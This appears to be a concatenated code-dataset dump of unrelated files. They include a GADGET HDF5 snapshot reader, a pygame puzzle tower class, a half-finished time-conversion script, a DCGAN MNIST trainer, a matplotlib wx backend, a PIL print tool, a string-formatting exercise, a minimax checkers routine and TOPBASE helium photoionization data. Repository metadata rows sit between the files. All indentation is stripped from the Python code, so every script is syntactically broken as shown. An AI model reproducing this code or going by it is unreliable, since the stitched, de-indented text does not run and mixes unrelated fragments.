self.nall_highword = np.array([0,0,0,0,0,0], dtype="uint32")
if (self.massarr == None):
self.massarr = np.array([0,0,0,0,0,0], dtype="float64")
if (self.time == None):
self.time = np.array([0], dtype="float64")
if (self.redshift == None):
self.redshift = np.array([0], dtype="float64")
if (self.boxsize == None):
self.boxsize = np.array([0], dtype="float64")
if (self.filenum == None):
self.filenum = np.array([1], dtype="int32")
if (self.omega0 == None):
self.omega0 = np.array([0], dtype="float64")
if (self.omegaL == None):
self.omegaL = np.array([0], dtype="float64")
if (self.hubble == None):
self.hubble = np.array([0], dtype="float64")
if (self.sfr == None):
self.sfr = np.array([0], dtype="int32")
if (self.cooling == None):
self.cooling = np.array([0], dtype="int32")
if (self.stellar_age == None):
self.stellar_age = np.array([0], dtype="int32")
if (self.metals == None):
self.metals = np.array([0], dtype="int32")
if (self.feedback == None):
self.feedback = np.array([0], dtype="int32")
if (self.double == None):
self.double = np.array([0], dtype="int32")
##############################
#READ ROUTINE FOR SINGLE FILE#
##############################
def read_block_single_file(filename, block_name, dim2, parttype=-1, no_mass_replicate=False, verbose=False):
if (verbose):
print "[single] reading file : ", filename
print "[single] reading : ", block_name
head = snapshot_header(filename)
npart = head.npart
massarr = head.massarr
nall = head.nall
filenum = head.filenum
doubleflag = head.double #GADGET-2
#doubleflag = 0 #GADGET-2
del head
f=tables.openFile(filename)
#read specific particle type
if parttype>=0:
if (verbose):
print "[single] parttype : ", parttype
if ((block_name=="Masses") & (npart[parttype]>0) & (massarr[parttype]>0)):
if (verbose):
print "[single] replicate mass block"
ret_val=np.repeat(massarr[parttype], npart[parttype])
else:
part_name='PartType'+str(parttype)
ret_val = f.root._f_getChild(part_name)._f_getChild(block_name)[:]
if (verbose):
print "[single] read particles (total) : ", ret_val.shape[0]/dim2
#read all particle types
if parttype==-1:
first=True
dim1=0
for parttype in range(0,5):
part_name='PartType'+str(parttype)
if (f.root.__contains__(part_name)):
if (verbose):
print "[single] parttype : ", parttype
print "[single] massarr : ", massarr
print "[single] npart : ", npart
if ((block_name=="Masses") & (npart[parttype]>0) & (massarr[parttype]>0) & (no_mass_replicate==False)):
if (verbose):
print "[single] replicate mass block"
if (first):
data=np.repeat(massarr[parttype], npart[parttype])
dim1+=data.shape[0]
ret_val=data
first=False
else:
data=np.repeat(massarr[parttype], npart[parttype])
dim1+=data.shape[0]
ret_val=np.append(ret_val, data)
if (verbose):
print "[single] read particles (total) : ", ret_val.shape[0]/dim2
if (doubleflag==0):
ret_val=ret_val.astype("float32")
if (f.root._f_getChild(part_name).__contains__(block_name)):
if (first):
data=f.root._f_getChild(part_name)._f_getChild(block_name)[:]
dim1+=data.shape[0]
ret_val=data
first=False
else:
data=f.root._f_getChild(part_name)._f_getChild(block_name)[:]
dim1+=data.shape[0]
ret_val=np.append(ret_val, data)
if (verbose):
print "[single] read particles (total) : ", ret_val.shape[0]/dim2
if ((dim1>0) & (dim2>1)):
ret_val=ret_val.reshape(dim1,dim2)
f.close()
return ret_val
##############
#READ ROUTINE#
##############
def read_block(filename, block, parttype=-1, no_mass_replicate=False, verbose=False):
if (verbose):
print "reading block : ", block
if parttype not in [-1,0,1,2,3,4,5]:
print "[error] wrong parttype given"
sys.exit()
curfilename=filename+".hdf5"
if os.path.exists(curfilename):
multiple_files=False
elif os.path.exists(filename+".0"+".hdf5"):
curfilename = filename+".0"+".hdf5"
multiple_files=True
else:
print "[error] file not found : ", filename
sys.exit()
head = snapshot_header(curfilename)
filenum = head.filenum
del head
if (datablocks.has_key(block)):
block_name=datablocks[block][0]
dim2=datablocks[block][1]
first=True
if (verbose):
print "Reading HDF5 : ", block_name
print "Data dimension : ", dim2
print "Multiple file : ", multiple_files
else:
print "[error] Block type ", block, "not known!"
sys.exit()
if (multiple_files):
first=True
dim1=0
for num in range(0,filenum):
curfilename=filename+"."+str(num)+".hdf5"
if (verbose):
print "Reading file : ", num, curfilename
if (first):
data = read_block_single_file(curfilename, block_name, dim2, parttype, verbose)
dim1+=data.shape[0]
ret_val = data
first = False
else:
data = read_block_single_file(curfilename, block_name, dim2, parttype, verbose)
dim1+=data.shape[0]
ret_val=np.append(ret_val, data)
if (verbose):
print "Read particles (total) : ", ret_val.shape[0]/dim2
if ((dim1>0) & (dim2>1)):
ret_val=ret_val.reshape(dim1,dim2)
else:
ret_val=read_block_single_file(curfilename, block_name, dim2, parttype, no_mass_replicate, verbose)
return ret_val
#############
#LIST BLOCKS#
#############
def list_blocks(filename, parttype=-1, verbose=False):
f=tables.openFile(filename)
for parttype in range(0,5):
part_name='PartType'+str(parttype)
if (f.root.__contains__(part_name)):
print "Parttype contains : ", parttype
print "-------------------"
iter = it=datablocks.__iter__()
next = iter.next()
while (1):
if (verbose):
print "check ", next, datablocks[next][0]
if (f.root._f_getChild(part_name).__contains__(datablocks[next][0])):
print next, datablocks[next][0]
try:
next=iter.next()
except StopIteration:
break
f.close()
#################
#CONTAINS BLOCKS#
#################
def contains_block(filename, tag, parttype=-1, verbose=False):
contains_flag=False
f=tables.openFile(filename)
for parttype in range(0,5):
part_name='PartType'+str(parttype)
if (f.root.__contains__(part_name)):
iter = it=datablocks.__iter__()
next = iter.next()
while (1):
if (verbose):
print "check ", next, datablocks[next][0]
if (f.root._f_getChild(part_name).__contains__(datablocks[next][0])):
if (next.find(tag)>-1):
contains_flag=True
try:
next=iter.next()
except StopIteration:
break
f.close()
return contains_flag
############
#CHECK FILE#
############
def check_file(filename):
f=tables.openFile(filename)
f.close()
#####################################################################################################################
# WRITING ROUTINES #
#####################################################################################################################
#######################
#OPEN FILE FOR WRITING#
#######################
def openfile(filename):
f=tables.openFile(filename, mode = "w")
return f
############
#CLOSE FILE#
############
def closefile(f):
f.close()
##############################
#WRITE SNAPSHOT HEADER OBJECT#
##############################
def writeheader(f, header):
group_header=f.createGroup(f.root, "Header")
group_header._v_attrs.NumPart_ThisFile=header.npart
group_header._v_attrs.NumPart_Total=header.nall
group_header._v_attrs.NumPart_Total_HighWord=header.nall_highword
group_header._v_attrs.MassTable=header.massarr
group_header._v_attrs.Time=header.time
group_header._v_attrs.Redshift=header.redshift
group_header._v_attrs.BoxSize=header.boxsize
group_header._v_attrs.NumFilesPerSnapshot=header.filenum
group_header._v_attrs.Omega0=header.omega0
group_header._v_attrs.OmegaLambda=header.omegaL
group_header._v_attrs.HubbleParam=header.hubble
group_header._v_attrs.Flag_Sfr=header.sfr
group_header._v_attrs.Flag_Cooling=header.cooling
group_header._v_attrs.Flag_StellarAge=header.stellar_age
group_header._v_attrs.Flag_Metals=header.metals
group_header._v_attrs.Flag_Feedback=header.feedback
group_header._v_attrs.Flag_DoublePrecision=header.double
###############
#WRITE ROUTINE#
###############
def write_block(f, block, parttype, data):
part_name="PartType"+str(parttype)
if (f.root.__contains__(part_name)==False):
group=f.createGroup(f.root, part_name)
else:
group=f.root._f_getChild(part_name)
if (datablocks.has_key(block)):
block_name=datablocks[block][0]
dim2=datablocks[block][1]
if (group.__contains__(block_name)==False):
table=f.createArray(group, block_name, data)
else:
print "I/O block already written"
else:
print "Unknown I/O block"
| [
"diego.munoz.anguita@gmail.com"
] | diego.munoz.anguita@gmail.com |
c83d25eb64c0139437acab82d9c697d97c4a35f1 | fee24ca41833c73a0dc7dde2a8382ef700dc9635 | /tower.py | e4212153bde73820e1858d0b4946b97a124d48d8 | [
"MIT"
] | permissive | nik-panekin/pyramid_puzzle | febc76ec5320267f80c9550807ce41aafccd160e | ce5bfc9295e0c5b2b516cc3662440a86cb293943 | refs/heads/master | 2023-05-03T22:21:47.630389 | 2021-05-24T21:33:43 | 2021-05-24T21:33:43 | 370,489,900 | 6 | 2 | null | null | null | null | UTF-8 | Python | false | false | 3,742 | py | """Module for implementation the Tower class.
"""
import pygame
from disk import Disk
from rounded_rect import RoundedRect
class Tower(RoundedRect):
"""The Tower class implements the basic rules of the pyramid puzzle. Also
it handles drawing the rod.
Public attributes:
disks: list(Disk) (read only) - a list of Disks strung on the rod.
"""
def __init__(self, width: int, height: int, color: tuple):
"""The parameters are exactly the same as for RoundedRect constructor.
"""
super().__init__(width, height, color)
self.disks = []
def draw(self):
"""Drawing a rod.
"""
ds = pygame.display.get_surface()
outer_radius = int(self.rect.height / 2)
pygame.draw.rect(ds, self.border_color, self.rect,
border_top_left_radius=outer_radius,
border_top_right_radius=outer_radius)
inner_rect = self.get_inner_rect()
inner_radius = int(inner_rect.height / 2)
pygame.draw.rect(ds, self.color, inner_rect,
border_top_left_radius=inner_radius,
border_top_right_radius=inner_radius)
def contains_point(self, point: tuple) -> bool:
"""Checks if a given point is inside the rod rectangle area or any
Disk object belonging to the Tower instance.
Input:
point - a tuple(x: int, y: int) representing point to check.
Returns:
True - if the point is inside mentioned above areas;
False - otherwise.
"""
if super().contains_point(point):
return True
for disk in self.disks:
if disk.contains_point(point):
return True
return False
def can_put(self, disk: Disk) -> bool:
"""Checks if a given Disk object can be put on top of the Tower object.
Only smaller by width disks are allowed.
Input:
disk - a Disk instance to check.
Returns:
True - if the Disk object can be put on top of the Tower object;
False - otherwise.
"""
if not self.disks:
return True
if self.disks[-1].rect.width < disk.rect.width or disk in self.disks:
return False
return True
def put(self, disk: Disk) -> bool:
"""Puts (if possible) a given Disk object on top of the Tower object.
Input:
disk - a Disk instance to put.
Returns:
True - if the Disk object has been put on top of the Tower object;
False - otherwise.
"""
if not self.can_put(disk):
return False
disk.rect.midbottom = self.get_peak_point()
self.disks.append(disk)
return True
def get(self) -> Disk:
"""Gets the topmost Disk object from the Tower object and removes it
from inner list.
Returns:
Disk instance that has been got;
None - if the Tower is empty.
"""
if self.disks:
return self.disks.pop()
else:
return None
def peep(self) -> Disk:
"""Returns the topmost Disk object of the Tower object (not removing
it from the list). Returns None if the Tower is empty.
"""
if self.disks:
return self.disks[-1]
else:
return None
def get_peak_point(self) -> tuple:
"""Returns the highest point of the stack of Disk objects (not the rod
height) in form of a tuple(x: int, y: int).
"""
if self.disks:
return self.disks[-1].rect.midtop
else:
return self.rect.midbottom
| [
"nik.reflective@gmail.com"
] | nik.reflective@gmail.com |
5b6c04aa591db9d8cb2167890a99aa0967e2659b | 52b5773617a1b972a905de4d692540d26ff74926 | /.history/counting_20200622230814.py | 361e416c5aa16e50da9614bce0b62e3f72c61ca1 | [] | no_license | MaryanneNjeri/pythonModules | 56f54bf098ae58ea069bf33f11ae94fa8eedcabc | f4e56b1e4dda2349267af634a46f6b9df6686020 | refs/heads/master | 2022-12-16T02:59:19.896129 | 2020-09-11T12:05:22 | 2020-09-11T12:05:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 878 | py | def counting(str):
str = str.split('-')
hour1 = int(convertTo24(str[0]).split(':')[0])
print('hour1',hour1)
hour2 = int(convertTo24(str[1]).split(':')[0])
print('hour2',hour2)
minutes1 = int(convertTo24(str[0]).split(':')[1])
print('min1',minutes1)
minutes2 = int(convertTo24(str[1]).split(':')[1])
print('min2',minutes2)
def convertTo24(hour):
newHour = ''
if 'am' in hour and hour[:2] == '12':
newHour = '24'
newHour += hour[2:5]
elif 'pm' in hour and hour[:2] == '12':
newHour = hour[:2]
newHour += hour[2:5]
elif 'pm' in hour:
print(hour[:1])
newHour = str(int(hour[:1]) +12)
newHour += hour[1:4]
elif 'am' in hour:
newHour = hour[:4]
else:
newHour = hour[:5]
return newHour
counting("11:00pm -12:00am") | [
"mary.jereh@gmail.com"
] | mary.jereh@gmail.com |
5671a35b72e297cb0533b5cad41a331d2e5725d7 | 6a190cddd6bbb57ede41dc4d921627a49a004639 | /train.py | bbb32ffa560bf7d90e0ea6bdea357ca41a2a13b3 | [
"MIT"
] | permissive | antonstagge/pro_gan | e994ed10f52c578b756c587db440f4a337edef98 | 30a6c7d66368c155fecc5a1de14bdf4fc8dd5102 | refs/heads/master | 2020-04-24T14:37:03.195910 | 2019-02-22T09:34:05 | 2019-02-22T09:34:05 | 172,027,144 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,618 | py | import os
import numpy as np
from model import *
from helpers import *
n_epochs = 100
learning_rate = 0.0002
batch_size = 128
image_shape = [28,28,1]
dim_z = 100
dim_W1 = 1024
dim_W2 = 128
dim_W3 = 64
dim_channel = 1
visualize_dim=196
mnist = tf.keras.datasets.mnist
(trX, trY), (teX, teY) = mnist.load_data()
dcgan_model = DCGAN(
batch_size=batch_size,
image_shape=image_shape,
dim_z=dim_z,
dim_W1=dim_W1,
dim_W2=dim_W2,
dim_W3=dim_W3,
)
Z_tf, Y_tf, image_tf, d_cost_tf, g_cost_tf, p_real, p_gen = dcgan_model.build_model()
sess = tf.InteractiveSession()
saver = tf.train.Saver(max_to_keep=10)
discrim_vars = filter(lambda x: x.name.startswith('discrim'), tf.trainable_variables())
gen_vars = filter(lambda x: x.name.startswith('gen'), tf.trainable_variables())
discrim_vars = [i for i in discrim_vars]
gen_vars = [i for i in gen_vars]
train_op_discrim = tf.train.AdamOptimizer(learning_rate, beta1=0.5).minimize(d_cost_tf, var_list=discrim_vars)
train_op_gen = tf.train.AdamOptimizer(learning_rate, beta1=0.5).minimize(g_cost_tf, var_list=gen_vars)
Z_tf_sample, Y_tf_sample, image_tf_sample = dcgan_model.samples_generator(batch_size=visualize_dim)
tf.global_variables_initializer().run()
Z_np_sample = np.random.uniform(-1, 1, size=(visualize_dim,dim_z))
Y_np_sample = make_one_hot( np.random.randint(10, size=[visualize_dim]))
iterations = 0
k = 2
step = 200
# for layer_count in range(len(layer_))
for epoch in range(n_epochs):
index = np.arange(len(trY))
np.random.shuffle(index)
trX = trX[index]
trY = trY[index]
for batch_images_x, batch_images_y in get_batches(batch_size, trX, trY):
Xs = batch_images_x.reshape( [-1, 28, 28, 1]) / 255
Ys = make_one_hot(batch_images_y)
Zs = np.random.uniform(-1, 1, size=[batch_size, dim_z])
if np.mod( iterations, k ) != 0:
_, gen_loss_val = sess.run(
[train_op_gen, g_cost_tf],
feed_dict={
Z_tf:Zs,
Y_tf:Ys
})
discrim_loss_val, p_real_val, p_gen_val = sess.run([d_cost_tf, p_real, p_gen], feed_dict={Z_tf:Zs, image_tf:Xs, Y_tf:Ys})
print("=========== updating G ==========")
print("iteration:", iterations)
print("gen loss:", gen_loss_val)
print("discrim loss:", discrim_loss_val)
else:
_, discrim_loss_val = sess.run(
[train_op_discrim, d_cost_tf],
feed_dict={
Z_tf:Zs,
Y_tf:Ys,
image_tf:Xs
})
gen_loss_val, p_real_val, p_gen_val = sess.run([g_cost_tf, p_real, p_gen], feed_dict={Z_tf:Zs, image_tf:Xs, Y_tf:Ys})
print("=========== updating D ==========")
print("iteration:", iterations)
print("gen loss:", gen_loss_val)
print("discrim loss:", discrim_loss_val)
print("Average P(real)=", p_real_val.mean())
print("Average P(gen)=", p_gen_val.mean())
if np.mod(iterations, step) == 0:
generated_samples = sess.run(
image_tf_sample,
feed_dict={
Z_tf_sample:Z_np_sample,
Y_tf_sample:Y_np_sample
})
generated_samples = (generated_samples + 1.)/2.
save_visualization(generated_samples, (14,14), save_path='./images/sample_%04d.jpg' % int(iterations/step))
iterations += 1
| [
"antonstagge95@gmail.com"
] | antonstagge95@gmail.com |
d2a0f896cfbc9229fd98fe36dd7776b8a6e06a9b | c53d7562ed73aa88d652748cbbb94679e13815b4 | /FullStack/DjangoExercise/DjangoExercise/urls.py | 7117c32443927eedc2a9df9d0c330d26ebcad5d5 | [] | no_license | kptnew3/django | 1c40e41b724ba7c2279b445736b7c3207806fd44 | 50073c96928b40113dc1d51257e15d870b32690b | refs/heads/master | 2020-03-27T00:06:21.100975 | 2018-08-21T17:06:16 | 2018-08-21T17:06:16 | 145,594,187 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,092 | py | """DjangoExercise URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url
from django.contrib import admin
from django.conf.urls import include
from DjangoExerciseApp import views
urlpatterns = [
url(r'^$', include('DjangoExerciseApp.urls')),
url(r'^helpapp/', include('helpapp.urls')),
# url(r'^thirdapp/', include('thirdapp.urls')),
# url(r'^$',views.index,name = 'index'),
# url(r'^fourthapp/', include('fourthapp.urls')),
# url(r'^admin/', admin.site.urls),
]
| [
"kptnew3@gmail.com"
] | kptnew3@gmail.com |
2f860618c91ddd2790cbf9ab5a23363af82c9ded | 1ab7b3f2aa63de8488ce7c466a67d367771aa1f2 | /Ricardo_OS/Python_backend/venv/lib/python3.8/site-packages/matplotlib/backends/backend_wxagg.py | 106578e7e14b4f64bcb6da6b5c7266b950eda808 | [
"MIT"
] | permissive | icl-rocketry/Avionics | 9d39aeb11aba11115826fd73357b415026a7adad | 95b7a061eabd6f2b607fba79e007186030f02720 | refs/heads/master | 2022-07-30T07:54:10.642930 | 2022-07-10T12:19:10 | 2022-07-10T12:19:10 | 216,184,670 | 9 | 1 | MIT | 2022-06-27T10:17:06 | 2019-10-19T09:57:07 | C++ | UTF-8 | Python | false | false | 2,916 | py | import wx
from .backend_agg import FigureCanvasAgg
from .backend_wx import (
_BackendWx, _FigureCanvasWxBase, FigureFrameWx,
NavigationToolbar2Wx as NavigationToolbar2WxAgg)
class FigureFrameWxAgg(FigureFrameWx):
def get_canvas(self, fig):
return FigureCanvasWxAgg(self, -1, fig)
class FigureCanvasWxAgg(FigureCanvasAgg, _FigureCanvasWxBase):
"""
The FigureCanvas contains the figure and does event handling.
In the wxPython backend, it is derived from wxPanel, and (usually)
lives inside a frame instantiated by a FigureManagerWx. The parent
window probably implements a wxSizer to control the displayed
control size - but we give a hint as to our preferred minimum
size.
"""
def draw(self, drawDC=None):
"""
Render the figure using agg.
"""
FigureCanvasAgg.draw(self)
self.bitmap = _convert_agg_to_wx_bitmap(self.get_renderer(), None)
self._isDrawn = True
self.gui_repaint(drawDC=drawDC)
def blit(self, bbox=None):
# docstring inherited
if bbox is None:
self.bitmap = _convert_agg_to_wx_bitmap(self.get_renderer(), None)
self.gui_repaint()
return
srcBmp = _convert_agg_to_wx_bitmap(self.get_renderer(), None)
srcDC = wx.MemoryDC()
srcDC.SelectObject(srcBmp)
destDC = wx.MemoryDC()
destDC.SelectObject(self.bitmap)
x = int(bbox.x0)
y = int(self.bitmap.GetHeight() - bbox.y1)
destDC.Blit(x, y, int(bbox.width), int(bbox.height), srcDC, x, y)
destDC.SelectObject(wx.NullBitmap)
srcDC.SelectObject(wx.NullBitmap)
self.gui_repaint()
def _convert_agg_to_wx_bitmap(agg, bbox):
"""
Convert the region of the agg buffer bounded by bbox to a wx.Bitmap. If
bbox is None, the entire buffer is converted.
Note: agg must be a backend_agg.RendererAgg instance.
"""
if bbox is None:
# agg => rgba buffer -> bitmap
return wx.Bitmap.FromBufferRGBA(int(agg.width), int(agg.height),
agg.buffer_rgba())
else:
# agg => rgba buffer -> bitmap => clipped bitmap
srcBmp = wx.Bitmap.FromBufferRGBA(int(agg.width), int(agg.height),
agg.buffer_rgba())
srcDC = wx.MemoryDC()
srcDC.SelectObject(srcBmp)
destBmp = wx.Bitmap(int(bbox.width), int(bbox.height))
destDC = wx.MemoryDC()
destDC.SelectObject(destBmp)
x = int(bbox.x0)
y = int(int(agg.height) - bbox.y1)
destDC.Blit(0, 0, int(bbox.width), int(bbox.height), srcDC, x, y)
srcDC.SelectObject(wx.NullBitmap)
destDC.SelectObject(wx.NullBitmap)
return destBmp
@_BackendWx.export
class _BackendWxAgg(_BackendWx):
FigureCanvas = FigureCanvasWxAgg
_frame_class = FigureFrameWxAgg
| [
"kd619@ic.ac.uk"
] | kd619@ic.ac.uk |
c17173af5f8aa43a22434bff3b92351e509e6d7e | bdfcd347fc5ab226d5134cb0e4f9dd05572e63e0 | /venv/bin/pilprint.py | 4ea4f029ecb0479ea95fd15d1cc9625875855aae | [] | no_license | Stosswalkinator/tango_rango | c4c68ef3911fd5240d5eadf52d5606834603383c | 6aff84f53a29c4437955dc03c10618e5bbff3482 | refs/heads/master | 2020-12-02T22:35:07.817815 | 2017-07-05T03:17:26 | 2017-07-05T03:17:26 | 96,152,359 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,637 | py | #!/home/lukes/Documents/tango_django/rango/venv/bin/python
#
# The Python Imaging Library.
# $Id$
#
# print image files to postscript printer
#
# History:
# 0.1 1996-04-20 fl Created
# 0.2 1996-10-04 fl Use draft mode when converting.
# 0.3 2003-05-06 fl Fixed a typo or two.
#
from __future__ import print_function
import getopt
import os
import sys
import subprocess
VERSION = "pilprint 0.3/2003-05-05"
from PIL import Image
from PIL import PSDraw
letter = (1.0*72, 1.0*72, 7.5*72, 10.0*72)
def description(filepath, image):
title = os.path.splitext(os.path.split(filepath)[1])[0]
format = " (%dx%d "
if image.format:
format = " (" + image.format + " %dx%d "
return title + format % image.size + image.mode + ")"
if len(sys.argv) == 1:
print("PIL Print 0.3/2003-05-05 -- print image files")
print("Usage: pilprint files...")
print("Options:")
print(" -c colour printer (default is monochrome)")
print(" -d debug (show available drivers)")
print(" -p print via lpr (default is stdout)")
print(" -P <printer> same as -p but use given printer")
sys.exit(1)
try:
opt, argv = getopt.getopt(sys.argv[1:], "cdpP:")
except getopt.error as v:
print(v)
sys.exit(1)
printerArgs = [] # print to stdout
monochrome = 1 # reduce file size for most common case
for o, a in opt:
if o == "-d":
# debug: show available drivers
Image.init()
print(Image.ID)
sys.exit(1)
elif o == "-c":
# colour printer
monochrome = 0
elif o == "-p":
# default printer channel
printerArgs = ["lpr"]
elif o == "-P":
# printer channel
printerArgs = ["lpr", "-P%s" % a]
for filepath in argv:
try:
im = Image.open(filepath)
title = description(filepath, im)
if monochrome and im.mode not in ["1", "L"]:
im.draft("L", im.size)
im = im.convert("L")
if printerArgs:
p = subprocess.Popen(printerArgs, stdin=subprocess.PIPE)
fp = p.stdin
else:
fp = sys.stdout
ps = PSDraw.PSDraw(fp)
ps.begin_document()
ps.setfont("Helvetica-Narrow-Bold", 18)
ps.text((letter[0], letter[3]+24), title)
ps.setfont("Helvetica-Narrow-Bold", 8)
ps.text((letter[0], letter[1]-30), VERSION)
ps.image(letter, im)
ps.end_document()
if printerArgs:
fp.close()
except:
print("cannot print image", end=' ')
print("(%s:%s)" % (sys.exc_info()[0], sys.exc_info()[1]))
| [
"luke.stoss@gmail.com"
] | luke.stoss@gmail.com |
816876f1a3cf85f5befdd03711b1f6bcb99d008d | 97998c62c84f319f6fbcde6787bccce4a73af196 | /minimax/algorithm.py | ede72f8ee1e1b522d6a27c93422292bfd4252f01 | [] | no_license | MohammedAl-Rasheed/Checkers-PyGame | bd8aeeb79e2f47699da2d962ba3ed99bcfa6f965 | 85d5820610757cae4ab2981517651034d51e484c | refs/heads/main | 2023-02-28T19:17:35.541008 | 2021-02-10T00:59:27 | 2021-02-10T00:59:27 | 337,580,737 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,857 | py | from copy import deepcopy
import pygame
RED = (255,0,0)
WHITE = (255, 255, 255)
def minimax(position, depth, max_player, game):
if depth == 0 or position.winner() != None:
return position.evaluate(), position
if max_player:
maxEval = float('-inf')
best_move = None
for move in get_all_moves(position, WHITE, game):
evaluation = minimax(move, depth-1, False, game)[0]
maxEval = max(maxEval, evaluation)
if maxEval == evaluation:
best_move = move
return maxEval, best_move
else:
minEval = float('inf')
best_move = None
for move in get_all_moves(position, RED, game):
evaluation = minimax(move, depth-1, True, game)[0]
minEval = min(minEval, evaluation)
if minEval == evaluation:
best_move = move
return minEval, best_move
def simulate_move(piece, move, board, game, skip):
board.move(piece, move[0], move[1])
if skip:
board.remove(skip)
return board
def get_all_moves(board, color, game):
moves = []
for piece in board.get_all_pieces(color):
valid_moves = board.get_valid_moves(piece)
for move, skip in valid_moves.items():
draw_moves(game, board, piece)
temp_board = deepcopy(board)
temp_piece = temp_board.get_piece(piece.row, piece.col)
new_board = simulate_move(temp_piece, move, temp_board, game, skip)
moves.append(new_board)
return moves
def draw_moves(game, board, piece):
valid_moves = board.get_valid_moves(piece)
board.draw(game.win)
pygame.draw.circle(game.win, (0,255,0), (piece.x, piece.y), 50, 5)
game.draw_valid_moves(valid_moves.keys())
pygame.display.update()
#pygame.time.delay(100) | [
"mohammed.satar.alrasheed@gmail.com"
] | mohammed.satar.alrasheed@gmail.com |
dabfbab65b5d29975832bb0aff06d12158b82c34 | 2e83e004d8a69a773d1e305152edd16e4ea35ed8 | /students/mark_mcduffie/Lesson3/strformat_lab.py | 2ab575ec45a6f16656701d1e7e46d7d6a414b563 | [] | no_license | UWPCE-PythonCert-ClassRepos/SP_Online_PY210 | 9b170efbab5efedaba8cf541e8fc42c5c8c0934d | 76224d0fb871d0bf0b838f3fccf01022edd70f82 | refs/heads/master | 2021-06-16T20:14:29.754453 | 2021-02-25T23:03:19 | 2021-02-25T23:03:19 | 161,077,720 | 19 | 182 | null | 2021-02-25T23:03:19 | 2018-12-09T20:18:25 | Python | UTF-8 | Python | false | false | 2,229 | py | '''
Mark McDuffie
String Formatting
Lesson 3
'''
tuple1 = (2, 123.4567, 10000, 12345.67)
tuple2 = (1,2,3)
tuple3 = (4, 30, 2017, 2, 27)
list1 = ['oranges', 1.3, 'lemons', 1.1]
#Task one
#reformat tuple 1
def task1(tuple1):
format = 'file_{:0>3d} :{:8.2f}, {:.2e}, {:.3g}'.format(*tuple1)
return format
#reformat tuple1 to look the same as task one but use a different method
def task2(tuple1):
a = '%03d' % (tuple1[0])
b = '% 8.2f' % (tuple1[1])
c = '%.2e' % (tuple1[2])
d = '%.3g' % (tuple1[3])
format = 'file_{} :{}, {}, {}'.format(a, b, c, d)
return format
# Rewrite "the 3 numbers are: {:d}, {:d}, {:d}".format(1,2,3)"
def task3(tuple2):
form_string = "the 3 numbers are: {:d}, {:d}, {:d}"
return form_string.format(*tuple2)
#given a 5 element tuple, use string formatting to print everything 2 digits,
#in different positions ( 4, 30, 2017, 2, 27) --> '02 27 2017 04 30'
def task4(tuple3):
format = '{3:0>2d}, {4:d}, {2:d}, {0:0>2d}, {1:d}'.format(*tuple3)
new = ''.join(format.split(','))
return new
#given a 4 element list, write an f string that will display a sentence
def task5(list1):
orange = list1[0]
oWeight = list1[1]
lemon = list1[2]
lWeight = list1[3]
format = f'the weight of an {orange[:-1]} is {oWeight} and the weight of a {lemon[:-1]} is {lWeight}'
format2 = f'the weight of an {orange[:-1].upper()} is {1.2*oWeight} and the weight of a {lemon[:-1].upper()} is {1.2*lWeight}'
return format, format2
def task6():
"""Write some Python code to print a table of several rows, each with a name, an age and a cost.
Make sure some of the costs are in the hundreds and thousands to test your alignment specifiers.
"""
#x = '{:20}{:10}{:20}{:8}'.format('First', '$99.01', 'Second', '$88.09')
list = [['Jim', 41, 20000],
['Mike', 35, 10000],
['Joe', 24, 100],
['Bob', 25, 900]]
#loops for every row, giving each attribute 7 total spaces
for row in list:
print('{:>{width}s} {:>{width}d} {:>{width}d}'.format(*row, width=7))
#call all functions
print(task1(tuple1))
print(task2(tuple1))
print(task3(tuple2))
print(task4(tuple3))
print(task5(list1))
print(task6()) | [
"mcdufm@uw.edu"
] | mcdufm@uw.edu |
b1ea55976fc62d381b2c07b54783d9ce06d81890 | db1a93c87b2f20bdac9f0355c6cfe3f899157325 | /topbase/topbase_he1_phot.py | 75290b9fde839a98bc3e54ee6c92ea379ce6ec1a | [] | no_license | agnwinds/data-gen | bcaa7fdadfe083818bcee0cc06b470e2eba5e722 | c063959be22398c80e1ddb0c52c3c773f6523f73 | refs/heads/main | 2022-01-30T13:03:50.240210 | 2020-03-19T18:44:51 | 2020-03-19T18:44:51 | 81,351,012 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 15,910 | py | PhotTopS 2 1 100 1 24.310389 50
PhotTop 24.310389 7.313e-18
PhotTop 34.920950 4.038e-18
PhotTop 45.531512 2.408e-18
PhotTop 56.142073 1.623e-18
PhotTop 66.752635 1.138e-18
PhotTop 77.363196 7.959e-19
PhotTop 87.973758 5.565e-19
PhotTop 98.584320 4.158e-19
PhotTop 109.194881 3.144e-19
PhotTop 119.805443 2.381e-19
PhotTop 130.416004 1.845e-19
PhotTop 141.026566 1.460e-19
PhotTop 151.637127 1.174e-19
PhotTop 162.247689 9.586e-20
PhotTop 172.858250 7.926e-20
PhotTop 183.468812 6.629e-20
PhotTop 194.079374 5.600e-20
PhotTop 204.689935 4.773e-20
PhotTop 215.300497 4.102e-20
PhotTop 225.911058 3.550e-20
PhotTop 236.521620 3.094e-20
PhotTop 247.132181 2.712e-20
PhotTop 257.742743 2.391e-20
PhotTop 268.353305 2.118e-20
PhotTop 278.963866 1.886e-20
PhotTop 289.574428 1.686e-20
PhotTop 300.184989 1.518e-20
PhotTop 310.795551 1.383e-20
PhotTop 321.406112 1.263e-20
PhotTop 332.016674 1.159e-20
PhotTop 342.627236 1.063e-20
PhotTop 353.237797 9.797e-21
PhotTop 363.848359 9.024e-21
PhotTop 374.458920 8.350e-21
PhotTop 385.069482 7.724e-21
PhotTop 395.680043 7.164e-21
PhotTop 406.290605 6.660e-21
PhotTop 416.901166 6.190e-21
PhotTop 427.511728 5.776e-21
PhotTop 438.122290 5.388e-21
PhotTop 448.732851 5.033e-21
PhotTop 459.343413 4.718e-21
PhotTop 469.953974 4.417e-21
PhotTop 480.564536 4.143e-21
PhotTop 491.175097 3.898e-21
PhotTop 501.785659 3.663e-21
PhotTop 512.396221 3.448e-21
PhotTop 523.006782 3.254e-21
